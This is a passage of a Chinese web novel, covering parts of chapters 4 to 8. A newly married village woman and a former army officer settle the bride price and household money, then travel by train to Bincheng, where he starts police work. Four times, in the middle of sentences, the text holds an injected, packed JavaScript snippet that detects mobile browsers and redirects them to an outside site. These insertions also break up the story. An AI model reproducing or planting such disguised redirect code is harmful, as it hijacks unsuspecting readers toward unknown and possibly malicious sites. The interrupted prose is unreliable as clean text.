她还感谢了二儿媳妇杨霜。杨霜有眼界,有见识,工作能力也强,当年要不是有她在背后指点,陈远河也不可能抓住机会进了机关单位。 陈远红满脸期待的看着王翠华:“妈,那我呢?” 王翠华看了眼小女儿,话锋一转:“你以后就给我老老实实地在家呆着,都快七个月了还乱跑什么,你也不想想小周得多担心你。” 周到听得都快哭了,直朝王翠华竖大拇指:“妈,你太懂我了!” 陈远红眼睛一瞪,吓得周到立马收回手指。 王翠华拍了陈远红一巴掌:“不许欺负小周!” 周到有人撑腰,立马挺直腰板。 陈远红凑过去小声威胁道:“你等着回家的。” 周到立马夹了块鱼肉给陈远红,岔开话题:“老婆你吃鱼,吃鱼对身体好。” 众人大笑。 徐秀竹看着这和谐又热闹的一家人,忽然眼眶有些湿润。 晚饭后王翠华和陈大江单独把陈远洲和徐秀竹叫到屋里。关于彩礼的问题,他们觉得应该先征求徐秀竹的意见。 赵春梅今天来张嘴就要四千块钱彩礼,“卖女儿”三个字就差写在脸上了。徐秀竹心里憋着劲儿,她就是一分钱都不想让赵春梅拿到。 王翠华听完徐秀竹的话后说道:“哪有结婚没有彩礼的,这要是传出去,人家还以为我们对你不满意。” 说完她看了眼一直低着头的徐秀竹,尽量柔声道:“虽然咱们两家接触的不多,但都在一个村里住着,我知道你是个好孩子,这么多年也不容易。” 王翠华说完这句话后,徐秀竹一直含在眼圈里的眼泪,啪嗒一声落了下来。 陈远洲从口袋里掏出一个存折给王翠华,王翠华知道他的意思,并没有接。 “你这些年往家里寄的钱我都给你存着呢,再说家里现在条件也好了,用不着你的钱,你和秀竹到了滨城还要安家,置办东西,都得用钱。” 最后王翠华拿了主意,彩礼是两千块钱,她再出钱给徐秀竹买几身新衣服,添件首饰。 徐秀竹知道梁喜枝的三哥前年结婚的时候,梁家出了八百的彩礼,这在千河村已经不是小数目了。千河村的人多以种地为生,日子过得辛苦,一年到头也攒不上个几百块钱。 陈家上次这么热闹还是过年,王翠华看着几个孙辈在地上跑来跑去,忽然觉得自己真的是老了。 不过最头疼的小儿子如今也娶了媳妇,她心里的石头总算能落下了。 一家人就属陈远红最有精神头,一直聊到了晚上九点还要继续,王翠华打了个哈欠,让周到赶紧把人弄走。 陈远红一把拉住徐秀竹,“那我今晚可以和三嫂一起睡吗?” 王翠华抬起巴掌吓唬她,陈远红做了个鬼脸,放开了徐秀竹,跟周到回了她结婚之前一直住的小屋子。 徐秀竹先去洗漱,洗漱完她就在整理自己的东西。下午她回家了一趟,把自己的东西拿到了陈家。东西也不多,就两个小包袱。 回去的时候赵春梅看她的眼神都能喷火,她临走的时候赵春梅还在嚷嚷,彩礼钱绝对不能低于四千。 陈远洲回来的时候就看见徐秀竹坐在一旁的椅子上发呆。陈远洲也没打扰她,去柜子里找了件短袖,把身上的衣服换了下来。 他背对着徐秀竹脱掉上衣,露出精壮的后背,徐秀竹一抬头就看到了他左肩和腰上的旧伤。 和梦里的一样。 梦里陈远洲出任务时受了重伤,成了植物人,是徐秀竹一直照顾着他,只不过他还是没挺住。 徐秀竹还记得陈远洲去世的时候,她在梦里哭的相当惨烈,把自己都哭醒了。 陈远洲换好衣服,回头就看到徐秀竹正看着他,眼里似乎还带着悲伤。 “想什么呢?”陈远洲率先打破屋子里的宁静。 徐秀竹回过神,结巴道:“没……没什么。” 陈远洲从抽屉里拿出一个存折,连同王翠华没接的那个存折,一并递给了徐秀竹。 徐秀竹有些疑惑的看着他。 陈远洲坐在徐秀竹对面的床上,说道:“我对钱没什么概念,以后家里的钱就归你管。” 徐秀竹没想到刚结婚第一天,陈远洲就这么坦诚的跟她聊了今后谁管钱的问题。 她也听说过不少夫妻因为婚后谁管钱而争吵不断,赵春梅和徐德柱就是个很好的例子。 赵春梅把钱看的比命都重要,徐德柱又是个要面子的,总想在家里说了算,二人经常为了钱争吵。 徐秀竹之前也想过,要是将来结婚了,丈夫不让她管钱该怎么办。她其实还挺想管钱的,也知道自己能管好。 本以为财政大权要经过一番斗争才能获得,如今陈远洲这么直截了当的提了出来,反而让徐秀竹有些不好意思。 徐秀竹目不转睛的盯着陈远洲手里的两个存折,说道:“这不太好吧?” 陈远洲看出了她眼神里对财政 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487378|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大权的渴望,故意说道:“你要是觉得不行,那就我来管钱,但是我这个人一向是有钱吃三天,没钱饿三天,只要你能接受就行。” 徐秀竹一听立马说道:“那不行!过日子这样是不行的。” 陈远洲晃了晃手里的存折,问道:“那你还要不要管钱?” 徐秀竹笑眯眯的两只手接过存折,说道:“那我就不客气了。” 陈远洲点点头,“那你辛苦了,毕竟我实在不擅长。” 徐秀竹信心十足道:“钱放在我这里你就放心,我保证他们只进不出。” 陈远洲笑了笑,“那要记得给我零花钱。” 徐秀竹已经代入角色了,“这个咱们可以再议。”说完她翻开两个存折,看到上面的数字之后眼睛一下子瞪圆了。 她感叹了一句:“怎么这么多钱啊!” 两个存折加起来一共一万两千多,徐秀竹结个婚还成了万元户。 陈远洲这些年除了往家里寄钱,也没什么用的到大钱的地方。他转业之前是副团级别,工资加上津贴一个月是一百七十多块钱,加上转业回来部队给的四千块钱的安置费,都在这两个存折里。 见陈远洲都这么有诚意的亮出了自己的家底,徐秀竹也实在不好意思藏着掖着了。她在自己的小挎包里掏啊掏,掏出了一把钱,放在了桌上。 和陈远洲的存款比起来,徐秀竹这三百多块钱确实是寒酸了些,可这已经是是她的全部了。 徐秀竹亮晶晶的眼睛看着陈远洲,十分有诚意的说道:“一共三百一十二块五毛六分,这是我的全部家当了。” 陈远洲看了眼桌上那有零有整的一小叠钱,说道:“你来安排就好。” 商量完财政大权的问题,接下来就是睡觉的问题。 陈远洲屋子里只有一张床,这张床要比徐秀竹那个小破床好多了,最起码看着挺结实的,也能睡下两个人。 徐秀竹盖着被子直挺挺的躺在床上。她不是老古板,结了婚同房也是自然而然的事,只是她脑海中不停的回放着钱二英下午说的话。 正值血气方刚的年纪,偏偏……不行。 徐秀竹忽然觉得陈远洲好惨啊。 二人就这么静静的躺了十分钟,徐秀竹觉得这十分钟对陈远洲来说一定是漫长又煎熬,毕竟这种事也办法自己说不行。 于是她鼓起了勇气,看着躺在身边的陈远洲,宽慰道:“我知道你受过伤,同房的事不勉强,城里大夫多,慢慢治,总能治得好,我不介意,你也不要介意。” 陈远洲眉头微皱,反应过来后轻笑了一声,打趣道:“你倒是很善解人意。” 徐秀竹见他没有生气,这才大着胆子跟他说话:“夫妻嘛,总是要互相体谅的,这样才能把日子过好。” 陈远洲看着一笑眼睛就弯成月牙的小媳妇,挑了挑眉没说话。 徐秀竹躺下之后,怕陈远洲不放心似的又补了一句:“你放心吧,我很会过日子的。” 陈远洲起身关了灯,黑暗中他的声音显得格外低沉:“那就请多多关照了。” “咱们互相关照。” 5. 第5章 第5章 第二天吃过早饭,陈家人都各归各位,陈远洲和徐秀竹跟着陈大江和王翠华去徐家。 赵春梅对于两千块钱的彩礼钱非常不满意,还说四千块钱少一分都不行。 王翠华看着她胡搅蛮缠的模样实在无语,要不是陈远洲那小子来了个先斩后奏,她是绝对想不到要跟徐家做亲家的。 只是可怜了徐秀竹,好好一个孩子竟然摊上这样一个家庭。 徐秀竹把赵春梅叫到外面,直截了当的说道:“我劝你见好就收,免得最后一分钱也得不到。” 赵春梅眼睛一横,生气道:“你这话是什么意思?” 徐秀竹淡定道:“你无非就是想把我卖了换彩礼,可现在我已经跟陈远洲结婚,就算你不同意这也是事实,你再闹下去也就是两个结果,或者陈家一分钱不给你,或者我跟陈远洲离婚。” 见赵春梅不说话,徐秀竹继续道:“和陈远洲离婚之后我就是二婚,我不信谁会愿意花两千块钱娶一个二婚的媳妇。” 赵春梅也反应过来了,好像确实是这个道理。 徐秀竹见她表情松动,便没再说什么,转身回了屋里。没一会儿赵春梅也进来了,不情不愿的收下这两千块钱。 临走之前徐秀竹不知道小声跟赵春梅说了什么,气的赵春梅吹胡子瞪眼睛,极其不情愿的从两千块钱里抠出三百给了徐秀竹。 王翠华是多一句话也不愿意跟她多说。她本来是想把钱直接给徐秀竹,但是昨晚她们一商量,觉得赵春梅拿不到钱肯定会作妖,都在一个村子里住着,多一事不如少一事。 回去的路上正好碰到了梁大友,梁大友告诉陈远洲刚才有人往村部打了个电话找他,电话号码就在桌上,他让陈远洲赶紧去给回个电话。 徐秀竹跟着陈远洲去了村部。陈远洲回了电话,对方是滨城公安局的,因为事态紧急,他们希望陈远洲可以买最早的车票尽快赶到滨城公安局任职。 回陈家的路上陈远洲把这事跟徐秀竹说了,徐秀竹有些惊讶:“这么着急?” 陈远洲点点头,“看样子咱们明天就得出发了。” 徐秀竹问道:“那咱们是要坐火车去吗?” 陈远洲之前已经打听过了,镇上没有直达滨城的火车,他们需要到镇上坐客车到县里,再从县里坐火车。 县里最早的一趟火车是七点半,因为要提前买票,所以他们今天就要赶到县里。 “妈呀!”徐秀竹一听直接小跑起来,边跑边回头招呼陈远洲:“赶紧回家收拾东西呀!” 王翠华知道这事之后并没有说什么,儿子在外当兵这么多年,聚少离多,她已经习惯了。 她看了眼时间,怕耽误陈远洲的事,说道:“午饭就别在家吃了,你收拾完东西就走吧,跟秀竹在镇上吃,顺便买点吃喝带着路上吃。” 陈远洲回来的时候就带了一个行李包,王翠华又找了一个,把徐秀竹的两个小包袱也放进行李包中,空出来的地方正好可以放些吃的。 徐秀竹听陈远洲说坐火车要两天一夜,不免有些紧张。陈远洲进来拿东西的时候就看到徐秀竹在屋里直转圈,手里还拿着一沓钱。 陈远洲觉得她的样子有点好玩,问道:“你是打算转几个圈把手里的钱变没吗?” “呸呸呸!”徐秀竹跺了跺脚,“把钱变没?这是什么话,怪不吉利的。” 她只是第一次出远门,不知道这么多钱该放在哪。还有陈远洲那两个存折,她也是想了半天才决定把它们缝在内衣上。 徐秀竹向陈远洲求助:“这么多钱,咱们要装在哪里呢?” 陈远洲指了指徐秀竹的衣服:“装进你的口袋里。” 徐秀竹撇撇嘴,要是这么简单她还用犯愁吗? 想到这她把手的钱给陈远洲看,陈远洲不太明白她的意思。 徐秀竹扬了扬眉毛,说道:“这是我妈给我的嫁妆钱。” 陈远洲想到赵春梅的做派,觉得她不像那么大方的人。 徐秀竹有些小得意的说道:“刚才在家的时候我不是小声跟我妈说了几句话,我说你要是不给我五百块钱的嫁妆钱,我回头就跟陈远洲离婚,到时候你一分钱也得不到,我也有可能再也嫁不出去了,五百她舍不得,最后咬牙给了我三百。” 陈远洲的关注点不太一样,“你要跟我离婚?” “啊?”徐秀竹听到后连忙摇头,“不是真离婚,我是吓唬她的。” 陈远洲没说话。 徐秀竹一直惦记着她这几百块钱该藏在哪里,也没注意到陈远洲的表情。最后她决定留一百多块钱零用,把从赵春梅那里抠出来的三百块钱和王翠华硬塞给她买衣服和首饰的钱缝在内裤上。 陈远洲注意到她开始找针线,也没拦着她,出去又跟王翠华说了几句话。 一个小时之后,陈远洲和徐秀竹出发了。村里的李国柱要开拖拉机去镇上买种子和化肥,正好可以拉着他们二人。 梁喜枝眼泪汪汪的抱着一小包糖和巧克力蹲在村口,看到徐秀竹过来之后起身把巧克力塞给她,然后可怜兮兮的说道:“到了滨城你得给我写信,多多的写信。” 徐秀竹看她哭的像个小孩似的,抬手给她擦了擦眼泪:“我知道,我一到地方就给你写,写一万字。” 梁喜枝嘟囔道:“你知道我不爱学习,一万字我得看到什么时候。” 徐秀竹笑:“那就放在床头慢慢看。” 梁喜枝把眼泪擦干净,看了看一旁的陈远洲,正好和他的视线对上。 梁喜枝本来觉得他有点吓人,但是好朋友要跟他走了,也顾不上那么多,就把他叫到一旁,用娘家人的口吻叮嘱他半天。 李国柱开着拖拉机哐哐哐的朝村口开来,上车之前徐秀竹又看了眼徐家的方向,然后挨着陈远洲坐好。 陈远洲从行包里翻出一件自己的外套,他叠好让徐秀竹垫在小板凳上。 一直到镇上徐秀竹一句话也没说。 停好拖拉机后,李国柱给陈远洲递了根烟。他比陈远洲小几岁,小时候也是跟在陈远洲屁股后面长大的,所以跟他也不见外。 二人在不远处抽烟,李国柱则是一直在跟陈远洲显摆他家前几天刚出生的大胖丫头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487379|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大胖丫头? 另一边的徐秀竹精准捕捉到关键字,她心想这个李国柱怎么偏挑这个话题聊,这不是往陈远洲伤口上撒盐吗? 她赶紧过去打断二人,佯装来不及的催促陈远洲赶紧去坐车。 李国柱也怕耽误二人的事,从兜里掏出一盒没开封的烟塞给陈远洲,说道:“三哥你收着,不是什么好烟,这不是家里有喜事嘛,算是喜烟。” 徐秀竹生怕李国柱一下句又是以“我闺女”开头,她直接替陈远洲收了烟,然后跟李国柱挥挥手告别。 二人怕赶不上最后一趟去县里的客车,就买了点吃的带上车。 客车还有十五分钟出发,车上徐秀竹一直在观察陈远洲的状态,她觉得陈远洲虽然没表现出来,但是心里应该也不好受。 毕竟他这辈子可能都不会有孩子了。 徐秀竹斟酌再斟酌,然后貌似不经意的指着窗外正在地上撒泼打滚的小男孩说道:“小孩子就是麻烦哈。” 陈远洲顺着她的手指看过去,然后目光停留在徐秀竹的侧脸上,“你不喜欢小孩?” 徐秀竹撒谎的时候不敢看别人的眼睛,于是头也没回的小声道:“嗯,觉得有些麻烦。” 客车装了满满一车人后终于出发了。 大概是车子的年头有点久了,开起来的时候晃晃悠悠的,总有点力不从心的感觉。 徐秀竹鼻子灵,又坐在后排,汽油味很快就让她开始晕车了。 陈远洲看她的小脑袋一点一点的看起来很难受的样子,就伸手把她的头轻轻按在自己的肩膀上。 徐秀竹蹭了蹭,找了个舒服的姿势,就没再动弹。 陈远洲从兜里掏出一颗薄荷糖,剥开糖纸后送到徐秀竹的嘴边。 徐秀竹闻到了清爽的薄荷味,她连眼睛都没睁开,直接张嘴咬住那颗送到嘴边的糖。 柔软的嘴唇碰到了陈远洲的手指,徐秀竹晕晕乎乎的,根本没注意。 陈远洲捻了捻手指,随后也往嘴里塞了颗糖。 到了汇丰县后,陈远洲把徐秀竹安置在招待所休息,自己去买火车票,回来的时候徐秀竹已经恢复些精神了。 徐秀竹没出过远门,她好奇的看着手里的两张纸板样式的火车票。 车票上写着出发站和终点站,以及途径的几个大站,还标注着硬座普快卧(下)的字样和买票的日期,还提醒要乘坐当日当次车。 然后她又看到了车票价格。 七十四块五? 那两张车票将近一百五! 她把手伸向了自己的口袋,没想到她留在外面的零用钱还不够买两张车票的。 徐秀竹眼神黯淡了,她心疼了。 陈远洲接过车票,放进上衣口袋,说道:“车票到了滨城能报销。” 徐秀竹眼睛又亮了:“真的吗!” 陈远洲总算是知道自己娶了个财迷小媳妇,“当然。” 徐秀竹高兴道:“那还挺讲理的。” 说完她想起一件事。 陈远洲不是把所有的钱都上交了吗?那买车票的钱是哪里来的呢? 6. 第6章 第6章 徐秀竹午饭就没有吃好,这会儿有点饿了。外面天色还早,她和陈远洲决定出去转转。 两个人先去了附近的副食商店,他们来的比较晚,很多方便携带的食物都卖的差不多了。 售货员是个四十左右岁的大姐,每天迎来送往的见过很多人,一眼就看出来这对小年轻买吃的是因为要出远门。她又多问了一嘴,果然和她猜想的一样。 她从柜台下面拽出一个纸箱子,抱到柜台上面,招呼二人:“咱们这有新推出的特色旅行系列食品,特别适合出远门的时候携带,方便省事又美味!” 说完她从箱子里拿出了几个黄褐色的纸袋子,上面统一是简笔画的红色火车图案,区别就是食物的名字不同,有旅行面包、旅行饼干、旅行花生、旅行方便面...... 售货员继续推销:“这款产品是咱们这卖的最好的,现在正好搞活动,买三送一,特别划算!” 陈远洲看了看包装袋没说话。徐秀竹凑过去隔着袋子闻了一下,然后直接拒绝道:“我们不要。”说完转身就要走。 陈远洲也没问为什么,自觉跟上徐秀竹的脚步。 身后的售货员有些急了,连忙叫二人:“买二送一怎么样?” 徐秀竹回头看了眼售货员,然后指了指柜台上的那箱东西,说道:“这里面的东西都受潮发霉了。” 售货员听完瞬间一愣,但很快反应过来,反驳道:“这怎么可能呢?我们这可是汇丰县最大的副食商店,每天的货都不够卖,怎么会有受潮发霉的产品?再说这袋子都密封着呢。” 徐秀竹本来想一走了之的,但见售货员如此理直气壮的说谎,就有些气不过,她拿起刚刚放回去的旅行面包,看着售货员的眼睛说道:“那你敢不敢把这袋面包拆开?” 售货员见徐秀竹像是认真的,有些心虚道:“那怎么行?万一拆开了你们不买怎么办?” 徐秀竹承诺:“拆开之后要是没问题,我一定买。” 售货员的眼神闪躲,随后一把抢过徐秀竹手里的面包,气急败坏道:“我看你们不是来买东西的,是来捣乱的!你爱买不买,不买赶紧走!” 售货员这个态度无疑是不打自招了,徐秀竹耐着性子说道:“你们可以事先说明这些食品是临期的,或者是受潮的,在不影响人身体健康的情况下,减价处理,有想买的自然会买,但是你们不能提都不提就这样骗人。” “你怎么说话呢?你看都没看里面就说我骗人,你这不是存心找茬吗!再说就算我这产品有问题又跟你有什么关系!你管得着吗!”售货员掐着腰,一脸不好惹的样子。 陈远洲也拿起一袋面包看了看,然后对售货员说道:“她是管不着,但是工商局能管。” 售货员一听到“工商局”三个字立马慌了。 若是被工商局查到销售的产品有问题,一定会被处罚。这家店又不是国营,这要是被她的老板知道了,估计她也要走人了。 陈远洲:“一会儿我会去工商局替你们报个名,这些东西要怎么处理你也清楚。” 售货员吓得赶紧把那箱东西从柜台上撤了下来,心想她可真倒霉,老板让她把这些处理掉,她本来是打算偷着卖掉换点钱揣自己兜里,结果却碰到这两个活爹。 真要是因为她的原因让店里遭受损失,那她也不用在这干了。 出门的时候徐秀竹问陈远洲:“咱们真的要去工商局吗?” 陈远洲说道:“不用去。” 徐秀竹不放心:“那要是她们还继续卖怎么办?” 陈远洲笃定道:“她们不会。” “为什么?” “因为那一箱本来就是要处理掉的。”陈远洲说完问徐秀竹:“你怎么知道那些都是发霉受潮的食品?” 徐秀竹脱口而出道:“我闻出来的啊。” “闻出来的?” 徐秀竹也不知道该怎么解释,“我从小鼻子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487380|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就灵,很多东西闻一下就知道怎么回事,食物啊,人啊,或者风啊雨啊,一本书,一张纸,一件衣服......” 她也感觉自己越说越玄乎,怕陈远洲不信,强调道:“真的,我没骗你,很多东西都有它独特的味道。” “我信。”陈远洲想到她在客车上晕的七荤八素的,说道:“那你要是到了人多或者味道混杂的地方,岂不是会很辛苦。” 徐秀竹连连点头:“那感觉就像有人用拳头锤我的鼻子!” 陈远洲被她的形容逗笑,忽然听到她肚子叫了一声,然后说道:“跟着你是不是能找到好吃的店?” 徐秀竹一下支棱起来:“不是我吹牛,我虽然吃过的东西种类不多,但是味道都很不错,你跟着我就好了!” 陈远洲听完做了“请”的手势,徐秀竹立马大摇大摆的走在了前面。 二人晚饭果然吃到了好吃的卤肉,馅饼,还有米粉和素炒。 吃完饭徐秀竹一手摸着吃的圆滚滚的肚子,一手撑着脑袋,看着陈远洲从口袋里掏出钱准备结账。 “咦?你兜里竟然还有这么多钱呀!”徐秀竹语气里透着惊讶,一双大眼睛眨呀眨,“我还以为你都给我了呢。” 陈远洲看了眼一旁的服务员,然后凑到徐秀竹身边说道:“回去再说。” 言下之意就是“给点面子,回去再没收私房钱”。 徐秀竹抿着嘴笑。 二人吃完饭又买了一些明早要带上火车的食物,然后才慢慢悠悠的回了招待所。 招待所的隔音不好,二人刚关上房门,就听到隔壁的床开始吱吱呀呀的响,然后又传来男人女人交织在一起的低喘声和暧昧声。 徐秀竹愣在原地,她看了眼外面,这天才刚刚擦黑啊! 她偷偷瞄了眼陈远洲,见他神色如常的换下衣服,整理东西,还喝了口水,就好像没听见一样,不免有些佩服。 果然,人没了欲望就是无敌的。 7. 第7章 第7章 隔壁是一对小别胜新婚的年轻夫妻,两个人一直折腾到大半夜才渐渐没了声音。 徐秀竹和陈远洲并排躺在招待所并不算宽敞的双人床上。她听着身边人传来的均匀的呼吸声,毫无睡意。 她轻轻掀开被子,蹑手蹑脚的下了床,可刚走了两步陈远洲就开了灯。 徐秀竹定在原地,有些尴尬道:“不好意思吵醒你了,我去个厕所。” 陈远洲给她递了个外套,“我陪你去。” 招待所的厕所在走廊的尽头,狭长的走廊灯光昏暗,徐秀竹进去之后,陈远洲就等在外面。 厕所里的灯泡有些老化,不停地闪烁,徐秀竹胆子算是大的,可还是有点害怕,她小声问道:“陈远洲,你还在外面吗?” “我在。” 徐秀竹这才安心,上完厕所加快速度洗了手就赶紧跑出来。 回到房间的以后徐秀竹不自觉的吸了吸鼻子,感叹道:“这烧鸡可太香了!” 烧鸡是晚饭后买的,准备明天带上火车。 陈远洲提议道:“要不要尝尝?” 刚买回来的时候徐秀竹就念叨着好香,可那时候她刚吃饱饭,肚子里一点地方也没有,不过这会儿已经消化了。 徐秀竹怕给陈远洲留下个贪吃的印象,想了想还是拒绝了。 陈远洲哦了一声,“我还想着你陪我吃点。” 徐秀竹有些惊喜的看向他,“你也想吃呀?” 陈远洲嗯了一声,“饿了。” 徐秀竹觉得陈远洲肯定是不好意思自己吃,所以才叫上她一起的,于是高高兴兴地答应了。 陈远洲出去洗了手,回来就看到徐秀竹一手拿着一个鸡腿,像个小学生一样乖乖的坐在椅子上等他。 徐秀竹细细品尝着鸡腿,跟陈远洲说道:“等我吃完这个烧鸡,回去就可以做出来跟这个味道七八分像的。” 陈远洲没有半夜吃东西的习惯,所以手里的鸡腿还毫发未伤,他顺着徐秀竹的话问道:“你能吃出它是怎么做的?” “差不多吧。”徐秀竹嘴上沾了点油,她接过陈远洲递来的纸擦了擦嘴。 陈远洲手里的鸡腿最后也进了徐秀竹的肚子,怕她吃得太多不消化,陈远洲把剩下的烧鸡装好,陪着她去洗了手回来接着睡觉。 第二天一大早二人就去赶火车,按照车票上的座位号找到位置,并放好行李。和其他大包小包的旅客相比,两个行李包已经是少的了。 火车鸣笛后缓缓前进,徐秀竹看着窗外,心情有些难以描述的奇妙。 在那个真实又惨烈的梦里,她偷偷爬上了往北方运货的火车,藏在那些货物中间不敢出声不敢动,又冷又饿的坚持了两天,迎来了新的希望,但也伴随着新的痛苦。 还好遇到了陈远洲,让她真正获得了自由。 就如同此刻一样。 徐秀竹的脸上是藏不住的兴奋和期待。陈远洲看着她,想起出发前梁喜枝对他说的话。 她说徐秀竹小时候像个假小子似的,可闹腾了,上山下河的折腾,还喜欢玩弹弓,指哪打哪。 她说不知道什么时候开始徐秀竹就不爱说话了,什么事都藏在心里。 她说别看徐秀竹总是一副温温和和的样子,其实很有态度,做事特别刚。 她说徐秀竹从前过得太苦了,我希望你可以对她好一些。 —— 火车行驶了两天一夜,下午五点半,终于到了滨城。 滨城火车站有近百年的历史,经历几次翻新修建,已经成为滨城地标似的建筑。 熙熙攘攘的人群出了火车站就四散而去,陈远洲站在原地向远处看了看,直到看到赵无双以后,才招呼徐秀竹跟上他。 在千河村跟滨城公安局通电话的时候,陈远洲就知道是赵无双来接站,所以看到他并不意外。可赵无双一见到陈远洲就像刚下山的猴子一样,激动的上蹿下跳,陈远洲简直没眼看。 “这位是嫂子吧!”赵无双看向徐秀竹,大声道:“嫂子好!” 赵无双的脸和眼睛都是圆圆的,笑起来还有两个酒窝,很喜庆。徐秀竹本来还不太习惯“嫂子”这个称呼,但被赵无双的笑容感染到,不自觉的嘴角上扬,回道:“你好。” 徐秀竹根据赵无双和陈远洲说话的神态和语气,判断两个人应该很要好,可在她那个梦里并没有赵无双这个人。 她又回头看了眼滨城的火车站,发现也和梦里的完全不一样。 徐秀竹有点搞不懂了。如果说那个梦是个预兆,会真实发生,那为什么现实中很多地方都和梦里的不一样呢? 赵无双是开了辆吉普车过来的。路上徐秀竹了解到,赵无双之前是陈远洲手下的兵,陈远洲转业之前他就退伍回了老家滨城,参加了滨城公安人员选拔,成了一名公安干警。后来他知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14487381|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈远洲也要来,激动的不得了,主动要求来接站。 陈远洲拍了拍赵无双的后脑勺,“你小子回家之后滋润了不少,脸都圆了。” 赵无双是土生土长的东北人,一张嘴就是藏不住的东北口音:“哥,你是不知道啊,在你手底下训练那可比在公安局跑外勤辛苦多了!” 说完他快速看了一眼坐在后面的徐秀竹:“嫂子,你知道我哥在部队里的外号是啥不?” 说完他自问自答道:“是冷面阎王!你听听,谁家好人叫阎王啊!” 赵无双自来熟的性格让徐秀竹放松了不少,她尽量忽略自己已经开始发晕的脑袋,讲着冷笑话:“是嘛?那以后就没收他的冷面,只让他吃热面。” 赵无双一愣,反应过来后哈哈大笑。 徐秀竹给赵无双的第一印象就是文静,瘦瘦小小的站在陈远洲身边,像是个不爱说话的,但没想到也是个会开玩笑的性格,于是赵无双对她的印象更好了。 陈远洲见赵无双把吉普车开出了战斗机的驾驶,沉声道:“稳一些,慢点开。” 赵无双一脸自信道:“哥你就放心吧!我的驾驶技术你还不了解嘛!” 陈远洲知道赵无双一向神经大条,于是直接说道:“你嫂子晕车,你慢点开。” “原来是嫂子晕车呀……”赵无双的语调听起来腻腻歪歪的,他放慢车速,朝着副驾驶上的陈远洲眨眨眼,然后得到一个眼神警告。 二十分钟后,吉普车停在了安和小区门口。 赵无双下车后帮着陈远洲拿行李,然后领着二人去了单位安排的房子。 滨城近几年开发力度很大,拆除了很多六七十年代的筒子楼,新建很多楼房居民小区。 从前的筒子楼走廊很长,灯光也昏暗,两边都是十多平米的单间,同一层的住户还要共用厨房、水房和厕所,而单元楼里每家每户都有独立的厕所、卫生间、客厅,居住条件更上一个台阶。 单位给陈远洲安排的是两室一厅,二楼,朝阳。赵无双已经提前把一些生活必需品准备好了,可以直接拎包入住。 徐秀竹把行李拿到了主卧,另一间关着门的房间里,赵无双已不见来时嘻嘻哈哈的态度,他严肃认真的朝着陈远洲敬了个礼。 “陈远洲同志,由于事态紧急,你暂时不能去公安局报道,我谨代表滨城公安局欢迎你的到来,接下来向你说明此次任务,请务必保密!” 8. 第8章 第8章 徐秀竹留赵无双吃晚饭,但是赵无双有事,要先走。 出门之前赵无双说道:“嫂子,我们东北讲究上车饺子下车面,晚上你和我哥就在家吃面吧,别出去了,面条我已经买好了,还有鸡蛋和青菜,都放在厨房了。” 陈远洲送他出去,又在门口跟他聊了几句。 多亏了赵无双给置办的齐全,锅碗瓢盆都有,徐秀竹可以直接开火做饭。 晚饭是简单的素面,陈远洲对吃喝一向不讲究,能填饱肚子就行,可长途奔波后吃上一碗热乎乎的面条,竟是如此舒服。 陈远洲抬头看了看坐在对面的徐秀竹,她正专心吃着碗里的青菜。 徐秀竹的长相其实很显小。一张小圆脸,皮肤虽然没有那么白皙,但是五官线条流畅又柔和,尤其是现在整个人在灯光下,显得格外温和,看起来毫无攻击力,再加上她年纪本来也不大,实在不像已经结了婚的。 常年风吹日晒的陈远洲摸了摸下巴上冒出来的胡茬,第一次对自己二十九岁的年纪有了实感。 徐秀竹吃饱了,见陈远洲第三碗也见底了,准备去给他盛第四碗。她了解陈远洲的饭量,面条不顶饱,若是他敞开了吃,这么大的碗能吃五碗。 陈远洲放下筷子,“我一会儿还要出去一趟,不吃了。” 徐秀竹见外面天已经黑了,又想到赵无双刚刚跟他在另一个房间关着门说了好一会儿话,猜测应该是工作上的事,就没打听。 陈远洲主动去洗碗,徐秀竹也没拦着。她在一旁看着,跟陈远洲商量:“小赵给咱们准备这些东西得花了不少钱,你回头问问,咱们把钱给他,不好占人家便宜。” 